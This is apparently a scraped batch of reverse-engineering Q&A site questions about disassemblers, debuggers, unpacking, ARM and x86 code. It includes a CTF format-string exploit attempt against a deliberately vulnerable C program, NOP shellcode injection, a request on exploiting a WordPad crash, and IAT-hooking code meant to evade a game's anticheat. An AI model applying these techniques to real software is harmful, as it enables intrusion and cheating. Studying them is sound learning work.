+ +what does these two instruction do ? Can someone explain please ? +" +"['x86', 'dos']"," Title: Why would VGA port 03CC respond with bit 3 set and bit 2 not?Body: I'm reverse-engineering some code I wrote in the middle-90s for which the source is long-lost and I'm a bit baffled by some VGA code I've encountered. I think it's probably from library or 3rd party code as I was just learning computers then and, while I did include some assembly to interact with VGA, it wasn't this informed. + +If it's helpful, the app is a 16-bit DOS real-mode exe and the original source was compiled by the Turbo Pascal compiler (either version 6 or 7). + + + +
    ; function boilerplate
+    push bp
+    mov  bp,sp
+    call 0EE2:0530  ; stack bounds check function
+
+    ; probe vga port 03CCh
+    sub  sp,0002    ; why?
+    mov  dx,03CC
+    in   al,dx
+    and  al,0C      ; mask bits 3 & 2
+    cmp  al,04      ; al == 00000100b
+    mov  al,00      ; pre return value
+    jne  jump_label ; return 0
+    inc  ax         ; return 1
+jump_label:
+    ; store return value in [bp-01] as well, for.. reasons.
+    mov  [bp-01],al
+    mov  al,[bp-01]
+
+    ; function boilerplate    
+    mov  sp,bp
+    pop  bp
+    retf 0004 ; instance pointer?
+
+ +So the question is, what is the intent here? Two parts are confusing to me: + +First, bits 2 and 3 denote clock select according to the VGA docs I've read, but those docs are light on information about what that means when bit 3 is involved. For example, http://www.osdever.net/FreeVGA/vga/extreg.htm#3CCR3C2W declares the two values with the bit 3 set as undefined. + +This function seems to return 0 when bit 3 is set and bit 2 isn't. But, why? What is it trying to determine about the hardware? + +Second, and this is an aside, but what is the intent of mov [bp-01],al followed by mov al,[bp-01]? This seems redundant! +" +"['ida', 'ida-plugin']"," Title: How to clear all comments created in ida using funcap?Body: How to clear the comments created by funcap and restore database to it's previous state? + +I tried reanalyzing the program but comments do not seems to go away from database. + +Though, checking-off Comments in IDA Options seems to work, but it also remove comments that I have made. + + +" +"['ida', 'idc']"," Title: Best way to quickly mark all lines as code in IDA?Body: I have a fairly large obfuscated program, and I need to mark all of the lines as code. I was able to do this in IDC by iterating through the lines and running MakeCode. It works for small amounts of code, but when I tried it on the entire program I waited for hours and nothing happened. Is there a more efficient way to mark every line as code? +" +"['debugging', 'x64dbg', 'buffer-overflow']"," Title: x64dbg throwing exceptionBody: I have been working on finding an overflow in WordPad and I was able to run an exception with an undefined behavior (my point of view). +I am using x64dbg (I am not a pro x64dbg) and it shows unexpected HRESULT and almost all registers filled with random values (they don't get filled when a non-corrupted file is loaded). +I am new to x64dbg — how would I go saying this is vulnerable? How do I analyze the exception and the behavior? How do I exploit it? +I have so many questions. Please help. The memory dump is too big, so it is impossible to identify anything. What steps should I follow? Sometimes shows unexpected HRESULT on R8 register as well. + +" +"['debugging', 'pe', 'shellcode']"," Title: PE Explorer vs. Debugger differencesBody: I injected shellcode into an executable.
Entrypoint is set to first shellcode instruction. + +Shellcode:

nop
nop
label:
nop
nop
jmp
label
nop
nop
+ +which translate to: \x90\x90\x90\x90\xeb\xfc\x90\x90 + +Correct Values in PE can be seen with PE-Explorer + + + +There are other values displayed in the debugger which translate to wrong instructions. + + + +What am I doing wrong here?
+ +Thanks +" +"['python', 'deobfuscation']"," Title: Reversing PyArmor + PyinstallerBody: Created an application, protected by PyArmor and used pyinstaller. I'm trying to reverse engineer it. So far I've decompiled the exe into pyc files but it's still pyarmor encrypted I can only see the loading of the encrypted bytes. +
    +
  1. Is there a way to decrypt PyArmor?
  2. +
  3. If not, it's my understanding it decrypts at runtime, how could I catch the unencrypted portion? I've been trying to use Ollydbg but can't figure out exactly how it works.
  4. +
  5. The program prints a Hello World but I can't seem to even find the instruction or the string in reference strings, any idea why or how to do it?
  6. +
+" +"['memory', 'integrated-circuit']"," Title: Subaru Eyesight Images and collision avoidance systemsBody: I'm new to hardware hacking and I'm not to sure where to go with what I'm doing, any advice or feedback is greatly appreciated. I've been working on a project with the hope of downloading images that are stored in Subaru's eyesight collision avoidance camera system. In the eyesight handbook it details that several images are recorded leading up to and after an "event", but that you have to contact Subaru to get them downloaded. Multiple companies have systems similar with the known and publicly available way to download images off of Toyota's. +Another person in my industry witnessed a Subaru tech download images, and said they plugged directly into the camera system mounted on the inside of the roof. I was able to purchase a complete camera assembly off of ebay to tinker with. The assembly i have is from a 2016 forester, the same vehicle I own. Using my car I was able to get the voltages I need to power up the assembly externally to tinker with. + +In my image, the left most white connector is the only connection between the cameras and car, that's what I got the voltages of. 2 pins at 12V, 1 at 2.3V, 1 at 2.6V, and two grounds. Two other pins had wires but no voltages, could possibly be for the CAN network? +As for the other two connectors on the board, the small white on near the top center is covered by a sticker when installed, there is no access to it without removing the sticker or disassembling the system, I would be led to believe this is for programming the module during assembly? I don't know if that's a reasonable assumption or not, but if so I would imagine its a possible angle of attack. For the gray connector, that one is exposed once the module is accessible in the vehicle. I would assume this is the port used by Subaru to download images so this might be the best possible route of attack. +While doing research on hardware hacking, I've come across JTAG and UART as common attack angles, unfortunately I have been unable to locate any such pinouts on the board. Looking at the data sheets for some of the chips, however, i was able to locate JTAG pins on some of the chips. With an integrated system like this, I'm not sure how accessing JTAG pins on a single component would help. Possible the images are all stored on one chip and other chips are used for processing data and handling the collision avoidance system? +Again, thanks for anything you guys have to say, any help is greatly appreciated. +" +"['x64dbg', 'breakpoint']"," Title: x64dbg, breakpoint on write in memory with specific valueBody: In x64dbg, we can set hardware breakpoint on write in memory dump but can we add more codition? +Ex. Set breakpoin on write of value of 2F. +" +"['elf', 'struct', 'debugging-symbols', 'offset']"," Title: How is padding size calculated for members of structure types?Body: Looking at DWARFs of bzip2_base I see different offsets between members of a structure type although they are of the same type. Check _IO_FILE structure at the offset 0x9c here. All the way until the 7th member at 0xF0 (_IO_write_end) all members have 12 Byte offset from the previous member, but the 8th member (@ 0xFD) onward the difference in the DIE offset gets 13 Bytes. Can anyone help me understand why? any good text that explains? +" +"['javascript', 'proxy']"," Title: How to locate the function being applied on passwordBody: I am thinking of taking up ethical hacking as a hobby. So, I installed Burp Suite Community Edition and set it up with Firefox. I opened Instagram and tried to login with these details (just for testing): + +
Username: admin
+
+Password: 123456
+
+ +However, when I intercepted the request in Burp, although the username was still admin , the password had been encrypted to something else. This means that somewhere in the code of the website, a formula tells Firefox how to convert 123456 to that string. How can I find this 'formula'? +" +"['unpacking', 'packers', 'address', 'upx', 'import-reconstruction']"," Title: Problems with relocation when unpackingBody: I'm trying to learn how to do basic unpacking EXEs. I've read into how the PE header works, sections, the IAT and I already know a fair bit about assembly. + +I started with compressing my simple x64.exe with UPX and attempted to manually unpack it. + +I stepped through the stub code, established where the extracted original code goes (.UPX0 section), found the OEP and IAT. With this, I was able to use Scylla to dump the process and correctly rebuild the IAT. + +However, when I ran the unpacked exe it failed. I decided to debug the unpacked exe and realised the code attempts to address a static variable that was originally stored in the .data section but is now invalid and generates a memory violation exception (crashing the program). + +Anyway to my frustration I realised that I needed to fix up the relocations as the original .reloc section had been lost. I painstakingly stepped through the UPX code and identified where the addresses that needed to be relocated were. I use PE explorer to rebuild the .reloc section manually. However, I gave up after 6 address when I realised there was a total of 100 to go through! + +My question is, is there a tool that can automatically fix up the relocations (much like Scylla does with the IAT) or am I stuck doing it manually? + +Many thanks +Z +" +"['assembly', 'disassemblers']"," Title: Are there some assemblers or disassemblers that allow dw/defw etc directives with specified endianness?Body: I've been working with reverse engineering tape image and disk image formats and the files and filesystems they contain. + +It struck me that sometimes there are data fields that are not in the same endian as the platforms these represent, sometimes there are even fields of both endians. (I bet this is even more common in networking.) + +It would be really beneficial to have variants of the assembly directives dw/defw, dd/defd, etc that include endian information so you can see at a glace what the intended numeric value is and also when the endian is not the expected one. + +This makes me wonder if there are already assemblers that let the programmer define words, longs, etc in specific endian formats. And if there are not assemblers that do it, perhaps there are some disassemblers that do. + +I'm thinking of adding a feature request for this in Ghidra but first I want to know if it's already in some tools, and what syntax they use if so. +" +"['ida', 'disassembly', 'debugging']"," Title: How can I find the function that throws an error message in IDA Pro?Body: Let's suppose I want to use IDA Pro to debug a Windows PE64 application that always throws an error message at a specific point when being run. What steps would I have to take to find the specific function in the code of the application that throws the error message? +" +['function-hooking']," Title: How are single-player games made into multiplayer ones?Body: I was always curious about how some single-player games are turned into multiplayer ones. Some samples are SA-MP and MTA, that turn Grand Theft Auto: San Andreas into a multiplayer game. + +In an infrastructure perspective, I know you might have a server that receives packets from a client and makes sure all the other clients receive these packets as well. + +For example, whenever a player moves, the client sends a message to the server. The server then redirects the messages to each connected client. Each connected client updates the player's position. + +However, how the engineers can ""inject a code"" into the game to make it send a network packet to a server whenever a player moves? How can they ""inject a code"" into the game, so it listens to a network packet to react over it? + +The ""inject a code"" term is between quotes because I don't even know if a code is really injected into the game. That's exactly what I'm curious about. Which techniques are used? How can this be possible? + +Do they hook into specific events to execute a custom code that performs networking communication? If so, could you guys elaborate that a bit further? + +I'm not planning to do so, and I have no prior experience with Reverse Engineering. I couldn't find anything on the Internet. Due to that, feel free to explain any ""basic concept"" as well. :) I'd like to understand as much as possible about it, and different opinions and perspectives are more than welcome. +" +"['disassembly', 'ghidra', 'motorola']"," Title: Can Ghidra currently be used to disassemble Tandy Color Computer binaries? Are the 6805 and 6809 opcode compatible?Body: I'm working on some Ghidra loader and filesystem modules for 80s microcomputers. + +I started work on a Loader for .cas tape image files for the TRS-80 CoCo because Ghidra suports the 6805 CPU. (It also supports the M68HC05TB and MC68HC908QY4) + +I never used the CoCo or anything with a 6809 back in the day so wasn't accustomed to its instructions. I am used to a few other instruction sets though. Anyway I assumed 6805 and 6809 would be quite that using Ghidra for CoCo and Dragon 32 binaries would be useful. + +But when I got my loader module to the point it was ready to test I found it did not produce code for the CoCo's ROM that matched disassemblies on the Internet. Many bytes could not be decoded into instructions at all. + +But when I search for the 6805 I can't find information saying the instruction sets are substantially different, though they only give the impression it should be quite close to the 6809 rather than outright saying it. + +So have I made a wrong assumption, have I mixed something up on Ghidra, or do the two similarly named chips have totally different instruction sets? Should I be able to disassemble code for these '80s machines using Ghidra if I set it properly? + +(I'm sure there are other disassemblers but I'm only working with Ghidra for this project.) +" +"['c', 'angr']"," Title: Simple angr example not workingBody: I am trying to learn angr from beginning. Due to lack of simple tutorials I programmed my own little executable which angr should solve. + +The C code looks as follows: + +
#include <stdio.h>
+#include <string.h>
+#include <stdlib.h>
+
+int main(int argc, char *argv[]) {
+    char buffer[20];
+    printf(""Password\n"");
+    fgets(buffer,20,stdin);
+    if (strcmp(buffer,""super!\n"")==0) {
+        printf(""SUCCESS!\n"");
+    } else {
+        printf(""FAIL!\n"");
+    }
+    return 0;
+}
+
+ +When compiled and opened in binary ninja I see the printfs at following addresses: + +So I created following angr python3 code: + +
import angr
+from angr.state_plugins import SimSystemPosix
+
+p = angr.Project('./test')
+state = p.factory.entry_state()
+
+
+
+sm = p.factory.simulation_manager(state)
+sm.explore(find=0x40118c, avoid=0x40119a)
+
+print(sm.found)
+
+ +Running the python code shows following output: + +
+ python3 solve_angr.py + WARNING | 2020-06-08 10:02:29,497 | angr.state_plugins.symbolic_memory | The program is accessing memory or registers with an unspecified value. This could indicate unwanted behavior.
+ WARNING | 2020-06-08 10:02:29,497 | angr.state_plugins.symbolic_memory | angr will cope with this by generating an unconstrained symbolic variable and continuing. You can resolve this by:
+ WARNING | 2020-06-08 10:02:29,497 | angr.state_plugins.symbolic_memory | 1) setting a value to the initial state
+ WARNING | 2020-06-08 10:02:29,497 | angr.state_plugins.symbolic_memory | 2) adding the state option ZERO_FILL_UNCONSTRAINED_{MEMORY,REGISTERS}, to make unknown regions hold null
+ WARNING | 2020-06-08 10:02:29,497 | angr.state_plugins.symbolic_memory | 3) adding the state option SYMBOL_FILL_UNCONSTRAINED_{MEMORY_REGISTERS}, to suppress these messages.
+ WARNING | 2020-06-08 10:02:29,498 | angr.state_plugins.symbolic_memory | Filling memory at 0x7fffffffffefff8 with 72 unconstrained bytes referenced from 0x58d4e0 (strcmp+0x0 in libc.so.6 (0x8d4e0))
+ WARNING | 2020-06-08 10:02:29,499 | angr.state_plugins.symbolic_memory | Filling memory at 0x7fffffffffeff70 with 8 unconstrained bytes referenced from 0x58d4e0 (strcmp+0x0 in libc.so.6 (0x8d4e0))
+ [] +
+ +The [] indicates that it did not find any solution. + +Can anybody tell me what I did wrong? +" +"['disassembly', 'decompilation', 'arm', 'asm']"," Title: Issue understanding simple ARM ASM functionBody: I'm a little stuck trying to understand this simple piece of code. It get's a number in R0. The first part seems to be a R0 = abs(R0), but then it get's more difficult. The number of leading zeros is determined, then it's left shifted by that many bits and then it's checked if that is > 0, otherwise 0 is returned. I don't get what the purpose of the entire shifting there is supposed to be and what the Add and additional shift operations are supposed to do there. + +
ROM:0005B7BE ; =============== S U B R O U T I N E =======================================
+ROM:0005B7BE
+ROM:0005B7BE
+ROM:0005B7BE sub_5B7BE
+ROM:0005B7BE                 ANDS.W  R2, R0, #0x80000000
+ROM:0005B7C2                 IT MI
+ROM:0005B7C4                 NEGMI   R0, R0
+ROM:0005B7C6                 CLZ.W   R3, R0
+ROM:0005B7CA                 LSLS.W  R1, R0, R3
+ROM:0005B7CE                 BEQ     retZero
+ROM:0005B7D0                 RSB.W   R3, R3, #29
+ROM:0005B7D4                 ADD.W   R3, R3, #1024
+ROM:0005B7D8                 MOV.W   R0, R1,LSL#21
+ROM:0005B7DC                 ADD.W   R2, R2, R3,LSL#20
+ROM:0005B7E0                 ADD.W   R1, R2, R1,LSR#11
+ROM:0005B7E4                 BX      LR
+ROM:0005B7E6 ; ---------------------------------------------------------------------------
+ROM:0005B7E6
+ROM:0005B7E6 retZero
+ROM:0005B7E6                 MOV.W   R0, #0
+ROM:0005B7EA                 BX      LR
+ROM:0005B7EA ; End of function sub_5B7BE
+
+" +['arm']," Title: ARM bx instruction branches to address not specified as argumentBody: I'm debugging an ARM cortex M4 (STM32F4) running FreeRTOS. +Inside the assembly FreeRTOS function vPortSVCHandler, there's a branch instruction + +
bx r14
+
+ +using GDB, I step through instruction by instruction and find that r14 (lr) contains the value 0xfffffffd (not a valid address) immediately before the bx instruction is executed. + +For some reason, GDB doesn't follow the bx instruction with si (hangs), but I'm still able to step via openOCD. I find that the function that's branched to is in fact a valid function at address 0x08012abc. + +From the ARM docs on bx, its argument should be a register containing an address to branch to. + +Clearly, I'm misunderstanding or looking at the wrong docs. + +I tried tweaking lr with GDB just before the branch instruction. Changing it to 0x0 or 0xfffffff7 results in a hard fault shortly after the branch. + +How does this branch instruction, when called with a value of 0xfffffffd, result in branching to a valid function at 0x08102abc? +" +"['ida', 'idapython', 'bin-diffing', 'tool-bindiff']"," Title: How to work on diffing result generated by bindiffBody: I am new to reverse engineering, How to work on the diffing results(Similar function) generated by Bindiff using IDAPython. + +*work is like finding no basic blocks, no of edges +" +"['ghidra', 'decompiler']"," Title: Is there a list of Ghidra's variable prefixes?Body: In Ghidra, the decompiler prepends various prefixes to variable names. For instance, iVar1 is an integer. However, there are a lot of prefixes that aren't immediately obvious, find some below, but I'm looking for a complete dictionary if anyone knows where it is: + + +" +"['unpacking', 'decryption', 'patch-reversing']"," Title: Decrypt application protocol packetBody: I have several applications that interact with the network, but the data is encrypted. I set breakpoints on send ws2_32.dll and found the correct buffer in which the encrypted data was located (then I checked the call stack to find the encryption function used), but this did not lead to anything good, for example, breakpoints for reading and entries in. If you have information describing the process of searching for packages in programs or in examples / books. I'll be happy +" +"['linux', 'c', 'exploit']"," Title: Newbie problems exploiting a format string vulnerabilityBody: I encountered a print format vulnerability challenge in a CTF. I don't know anything about these vulnerabilities, so I'm working my way through Saif El-Sherei's format string exploitation tutorial from exploit-db.com (https://www.exploit-db.com/docs/english/28476-linux-format-string-exploitation.pdf). But, I'm getting stuck really early on. I'm hoping someone can point out where I'm going wrong. + +Here's some code I wrote: + +
#include <stdio.h>
+#include <stdlib.h>
+
+void nicefunction()
+{
+        printf(""you are in the nice function!\n"");
+}
+void notnicefunction()
+{
+        printf(""you are in the NOT nice function!\n"");
+}
+int foo()
+{
+  void (*fptr)() = &nicefunction;
+  char buf[100];
+
+  puts(""Please enter a string. "");
+  fgets(buf,80,stdin);
+  puts(""Here's your string"");
+  printf(buf);
+  puts(""\nNow we call the nice function"");
+  (*fptr)();
+  return 0;
+}
+
+int main(int argc, char **argv)
+{
+  foo();
+}
+
+ +My goal is to craft an input string that I can use to change fptr to point to notnicefunction. I compiled it with: gcc -m32 -g test.c -fno-stack-protector -z execstack -o test + +I ran the binary under gdb and added before and after breakpoints. When I enter the string ""AAAA"" and then do x/20xw $esp afterwards, I see my 0x41414141 in the stack, at 0xffffd018. If I rerun and enter the string ""AAAA %6$x"" I get AAAA 41414141. So far so good. + +Now I want to find the address of fptr. Using nm, I see that it should contain the value of 0x0804849b (the address of nicefunction). My goal is to change it to 0x080484b4, the address of notnicefunction. I rerun with AAAA, and then examine the stack until I find the address that contains 0x0804849b. That's 0xffffd07c, 0x64 (100d) words deeper in the stack from the start of buf. Which makes sense. + +I'd like to control the contents of fptr by using %n. So I crafted this input string: \x7c\xd0\xff\xff\xff\xffAAAA%5$x%n. I think this should change the contents of 0xffffd07c to 13d. But instead I segfault in the printf. + +Where am I going wrong? + +UPDATE: I tried writing my fptr address into the start of the buffer, just to see if I was writing the address correctly. But when I checked it in gdb, it had the ASCII representation in it: + +
(gdb) x/20xw $esp+8
+0xffffd018: 0x6337785c  0x3064785c  0x6666785c  0x6666785c
+
+ +So the problem is that bash doesn't like my hex literals. I guess I could fix this with redirection from a file. But if anyone knows of a cleaner way to handle this, I'd love to know about it. + +MOAR UPDATE: Pawel's comment below got me past the how-do-I-get-hex-bytes-into-this-binary hurdle. But I was still segfaulting on my %n. But the segfaults went away when I changed %5$x %n to %x %x %x %x %x %n. Now I am able to (sort of) control the contents of arbitrary stack memory. Whoohoo! +" +"['assembly', 'ghidra']"," Title: Extracting Assembly line code from an executable in GhidraBody: I'm using Ghidra to reverse engineer an EXE file and save its assembly line code only. Does Ghidra have any function or scripts which exports the assembly line code? I don't want to manually copy the code from the Listing window. +" +"['ida', 'x86', 'x86-64', 'offset', 'pic']"," Title: Displaying Operands as Position Independent in IDABody: I'm writing an IDA python script, and i need to be able to detect position independent code. I have an instruction that IDA displays using the operand name 'format' + +
lea     rdi, format
+
+ +However, when i use capstone disassembler or disassember.io it displays the instruction as + +
lea     rdi, [rip + 0xd5a]
+
+ +Is there an ida python function that will return the instruction in the form of the register + the immediate offset instead of the relative value or operand name? + +I tried using idc.get_operand_value but it returns the full address, not the register + offset. + +I've also tried idc.GetDisasm but that just returns the instruction as it's displayed in IDA. + +The hexbytes for the instruction are 48 8d 3d 5a 0d 00 00 + +Architecture is i386 x86-64 +" +"['windows', 'pe', 'c#', 'reassembly']"," Title: Why does an executable still run despite changes to checksum, or changes to data section without new checksum?Body: I have a ""Hello World"" console app compiled with Flat Assembler. The size of the executable is 2048 bytes and the checksum is 0x3797. + +Questions: + +Does it matter if I make changes to the data section and minor change to code section of the executable while maintaining the same checksum? + +Not really changing the opcode, just inserting different input.Length (length of null-terminated text string in data section) + +
     push 0xfffffff5 // - 11
+     call DWORD PTR ds:0x40304c // .idata [GetStdHandle]
+     push 0x0
+     push 0x401014
+     push [input.Length]
+     push 0x401000 // .data
+     push eax
+     call DWORD PTR ds:0x403050 // .idata [WriteConsole]
+     push 0x0
+     call DWORD PTR ds:0x0403048 // .idata [ExitProcess]
+
+ +Why does it still run even though I use different checksum? +For example, it still run even if I change the checksum to 0x995A or 0x5A99. + +I use ImageHlp.dll to compute the checksum as summarized below: + +
int HeaderSum = 0;
+int CheckSum = 0;
+IntPtr ptrHeaderSum=Marshal.AllocHGlobal(sizeof(int));
+Marshal.WriteInt32(ptrHeaderSum, HeaderSum);
+IntPtr ptrCheckSum = Marshal.AllocHGlobal(sizeof(int));
+Marshal.WriteInt32(ptrCheckSum, CheckSum);
+UInt32 status= ImageHlp.MapFileAndCheckSumA(@""D:\19_02_21.exe"", ptrHeaderSum, ptrCheckSum);
+
+Console.WriteLine(status);
+CheckSum = Marshal.ReadInt32(ptrCheckSum);
+Console.WriteLine(CheckSum);
+
+Marshal.FreeHGlobal(ptrHeaderSum);
+Marshal.FreeHGlobal(ptrCheckSum);
+Console.ReadLine();
+
+" +"['ida', 'debugging', 'symbols', 'dos', 'segmentation']"," Title: How to retrieve name of a variable defined in the data segment in IDA when no process is attached?Body: I have disassembled an old DOS application with IDA. It run in 16-bit real mode. Some instructions are referencing variables defined in the data segment (DS). + +
push    word ptr ds:8401h
+
+ +Since I have imported debug symbols, I can display variable name by simply putting mouse over the ds:xxxxh part. + +The problem is this only works when IDA is running in debug mode (eg: a DOSBox process is attached to it). Otherwise nothing is shown. + +One possible explanation is that the data segment register (DS) is only set when application is running so IDA as no clue what value it is. In fact, the very first instructions of the program are dedicated to initializing the data segment : + +
; entry point
+mov   dx, seg dseg 
+...                     
+...                      ; a few instruction later
+mov   ds, dx
+
+ +I think this is how IDA is able to guess where the data segment is (which is reported as dseg in the Segments view). + +In that application, DS is set once for good and never changed over the time. Is there a way to tell IDA it should assume DS is equal to a given value in the whole disassembly ? (so hovering those variables will give proper name even when no process is attached). +" +"['hardware', 'serial-communication']"," Title: Wrong keyboard strokes sent to serial in puttyBody: I am attempting to communicate to a device i have via the onboard rx/tx solder points i found on the board. I am doing this via an arduino uno. + +The problem i am having is that when i connect to it via serial (baud 115200) i get the correct output from the device but any key i press seems to come up as a random character. Is there a setting that i need to change in putty? What am i missing? + +The following screenshot is just holding down the ""h"" key. + +" +"['elf', 'struct', 'debugging-symbols', 'stack-variables', 'type-reconstruction']"," Title: How are members of a Structure Type positioned on the stack?Body: Some of the structure types have members that are not stacked next to each other. Check out the structure type at 0x33E6 in bzip2_base (x86-64) here. There's an int at location offset 0, a char at 4 and then an int at 5004! and so on, which brings up the size of the struct to 5104 Bytes, although it only consists of int and char variables (3 of each) with a struct called strm which is 640 Bytes long. +" +"['decompilation', 'ghidra', 'decompile']"," Title: How to prevent Ghidra from removing unreachable blocks?Body: I am using this extension for loading PS-X executables: + +https://github.com/lab313ru/ghidra_psx_ldr + +During decompilation, Ghidra shows some of these warnings: + +
WARNING: Removing unreachable block (ram,0x8003a320)
+
+ +Do you know how to prevent Ghidra from pruning these code blocks ? +" +"['assembly', 'x86']"," Title: Disassemble scanf storage registerBody: I am trying to understand scanf function a have 3 question regarding it. +this is c file: + +
#include <stdio.h>
+#include <stdlib.h>
+
+int main(){
+    int x;
+    printf(""Enter X:\n"");
+    scanf(""%i"",&x);
+    printf(""You entered %d...\n"",x);
+    return  0;
+}
+
+ +and here is gas: + +
.text
+    .section    .rodata
+.LC0:
+    .string ""Enter X:""
+.LC1:
+    .string ""%i""
+.LC2:
+    .string ""You entered %d...\n""
+    .text
+    .globl  main
+    .type   main, @function
+main:
+    pushq   %rbp    #
+    movq    %rsp, %rbp  #,
+    subq    $16, %rsp   #,
+# a.c:5:    printf(""Enter X:\n"");
+    leaq    .LC0(%rip), %rdi    #,
+    call    puts@PLT    #
+# a.c:6:    scanf(""%i"",&x);
+    leaq    -4(%rbp), %rax  #, tmp90
+    movq    %rax, %rsi  # tmp90,
+    leaq    .LC1(%rip), %rdi    #,
+    movl    $0, %eax    #,
+    call    __isoc99_scanf@PLT  #
+# a.c:7:    printf(""You entered %d...\n"",x);
+    movl    -4(%rbp), %eax  # x, x.0_1
+    movl    %eax, %esi  # x.0_1,
+    leaq    .LC2(%rip), %rdi    #,
+    movl    $0, %eax    #,
+    call    printf@PLT  #
+# a.c:8:    return  0;
+    movl    $0, %eax    #, _6
+# a.c:9: }
+    leave   
+    ret 
+    .size   main, .-main
+    .ident  ""GCC: (Debian 8.3.0-6) 8.3.0""
+    .section    .note.GNU-stack,"""",@progbits
+
+ +1) +The rsi should take address of x int, but it takes the address from -4(%rbp), where there is nothing, in time of execution. Because the initialization of x variable comes from the stdin as scanf waits for input to init the variable. But the what is in -4(%rbp) in the time of instruction leaq -4(%rbp), %rax? It looks like garbage, not address of x, which value should be initialized from stdin. + +2)according to this https://stackoverflow.com/questions/54165346/integer-describing-number-of-floating-point-arguments-in-xmm-registers-not-passe, the movl $0, %eax is to zero FP registers in al, but that is the same convention for printf. So my question is, to which functions from glibc or other libraries apply this convetion? (So I have to zero %al in printf, scanf, ....?). I assume to every, that has va_list or variable argument? + +3) where in the gas source is stack canary in that should protect scanf buffer from overflow? according to this: How does scanf interact with my code in assembly, this should set canary (in masm): + +
0x080484c5 <+6>: mov    eax,gs:0x14
+   0x080484cb <+12>:    mov    DWORD PTR [ebp-0xc],eax
+   0x080484ce <+15>:    xor    eax,eax
+
+ +But I see nothing similar to this in my gas source, which is also output from gcc, which should set it by itself (unless there is some checking in the the scanf function itself which is not visible in my source). So where is it? +" +"['winapi', 'debugging-symbols']"," Title: In the context of the Windows API, what extra information do the debugging symbols provide that the export table doesnt provide?Body: Take for example, 'kernel32.dll', the export table already provides the list of exported functions, then in what use case, would I need to download the debugging symbols for it from the MS symbol server? +" +"['assembly', 'x86']"," Title: What numeric properties are used in this Unsigned Integer (64bit) -> Floating Vector (128bit) conversion?Body: Recently I came across the following set of vector instructions: + +
movq      xmm0, rcx
+punpckldq xmm0, 0x4530000043300000
+subpd     xmm0, 0x4330000000000000
+haddpd    xmm0, xmm0
+
+ +The only sensible information I found based on the constants is a routine called EmitFPVectorU64ToDouble. Runtime behavior seemed to confirm that these instructions indeed convert an unsigned integer onto scalar double-precision float. + +What I'm looking for is an explanation of why these instructions achieve the result, theory behind it. +" +"['ida', 'windows', 'debugging']"," Title: How to debugging activeX with IdaBody: When I enter to some site it ask me to install ActivX to my Internet Explorer browser so this site will work well. I installed that,and that site works well. + +How can I see this ActiveX code(where does the code located) and debug this code with Ida? +" +"['debugging', 'x64dbg']"," Title: x64dbg break when hex string is loadedBody: I'm trying to break execution when a string is loaded in memory. + +I can´t find the string by using the search for -> string references + +So I press Alt + M and press Ctrl + B to search my string once is loaded, I can see it. +I try to right click on the address and set a hardware breakpoint but the software closes as soon as that string is shown so it doesn't break on the next run. + +How can I set a condition so if a string appears a break happens? + +I tried shift + F4 like with ollydbg and then I try to create an expression like this UNICODE[EAX] == ""myString"" but it says invalid expression... + +I also tried the same expression using traceInto, but it definitely is not matching for the string, because I can't see it int he dump and even if I compare with a huge string, it doesn't do anything at all. + +Any suggestions or ideas? +" +"['windows', 'c++', 'pe', 'asm']"," Title: Pe 32 Add Export function Segment by Extending with dll or Patching peBody: I need to add new function inside pe32 module.dll Export Table , in dynamic way if possible ( via extending with dll ) or by patching pe32 module.dll + +What can u suggest to solve this ? +" +"['iat', 'import-reconstruction']"," Title: Import Reconstruction in runtime library? any open source ones or any import reconstructors source codes?Body: I want to implement a full blown import reconstructor into my app without any external dll's or Shell Executes to EXEs. I want to just have the ability to get IAT Import addresses to certain imported DLL's by name or Ordinal. So I can easily patch the IAT to do hacks. At the moment I do this all by hand and have to rely on updating the IAT addresses for every function I am hooking I want this to be automatic by putting in dll name and dll import name and get the import addresses. If I hook using anything other then IAT.. like (DWORD)GetProcAddress(""dllname"", ""import name""); it will be detected because it's hooking inside of a DLL that's outside the main game.. even though the anticheat also cares about editing the CODE of the Game itself same as it does for DLL's it doesn't seem to care about memory edits which is what IAT hooking does. + +I tried a bunch of solutions such as PE-Sieve and libpeconv both don't handle packed IAT's.. + +I was going to make my own Auto Import Scanner.. but its too much work.. i need to first find a small +x86 disasm and opcode length counter then I could loop the whole game EXE and scan for absolute addresses and double check them with *(DWORD*) against (DWORD)GetProcAddress(""dllname"", ""import name""); if any of the addresses match then I found my IAT addresses. + +
– 8B0D MOV ECX,[ADDRESS]
+– 8B15 MOV EDX,[ADDRESS]
+– 8B1D MOV EBX,[ADDRESS]
+– 8B25 MOV ESP,[ADDRESS]
+– 8B2D MOV EBP,[ADDRESS]
+– 8B35 MOV ESI,[ADDRESS]
+– 8B3D MOV EDI,[ADDRESS]
+– A1 MOV EAX,[ADDRESS]
+- FF15 CALL [ADDRESS]
+– FF25 JMP [ADDRESS]
+– FF35 PUSH [ADDRESS]
+
+ +Anyone got a code that already do this? or anything similar to this.. i would really appreciate it. + +Here is what I got so far.. it kinda works gets 80-85% of all imports.. but the ones that are double jumped and some with crap instructions that needs a re-pass I'm still working on that anyone got these patterns complete? + +
#define ResolveRVA(base,rva) (( (uint8_t*)base) +rva)
+#define RVA2VA(type, base, rva) (type)((ULONG_PTR) base + rva)
+
+BOOL SnapShotModules(DWORD dwPID)
+{
+    BOOL           bRet = TRUE;
+
+    // Get all modules for this process:
+    std::vector<HMODULE> hModules;
+    const HMODULE hSelf = GetModuleHandle(NULL);
+    {
+        DWORD nModules;
+        EnumProcessModules(GetCurrentProcess(), NULL, 0, &nModules);
+        hModules.resize(nModules);
+        EnumProcessModules(GetCurrentProcess(), &hModules[0], nModules, &nModules);
+    }
+
+    if (!hSelf)
+    {
+        printf(""Invalid Process Handle\n"");
+        return FALSE;
+    }
+
+    gs_ModuleList.clear();
+
+    IAT_Module_Info modulefullInfo = { 0 };
+    MODULEINFO modinfo = { 0 };
+    char moduleName[256] = { 0 };
+    char moduleFileName[1000] = { 0 };
+
+    char myProcessFilePath[1000] = { 0 };
+    GetModuleFileNameExA(GetCurrentProcess(), NULL, myProcessFilePath, 1000);
+    LPCSTR MyProcessFileName = PathFindFileName(myProcessFilePath);
+    for (auto hModule : hModules) {
+        if (hModule == hSelf)
+            continue;
+
+        GetModuleInformation(GetCurrentProcess(), hModule, &modinfo, sizeof(modinfo));
+        GetModuleBaseName(GetCurrentProcess(), hModule, moduleName, sizeof(moduleName) / sizeof(char));
+        GetModuleFileName(hModule, moduleFileName, sizeof(moduleFileName) / sizeof(char));
+        if (_strcmpi(moduleName, MyProcessFileName) == 0) continue;
+        strcpy(modulefullInfo.DllName, moduleName);
+        modulefullInfo.ImageSize = modinfo.SizeOfImage;
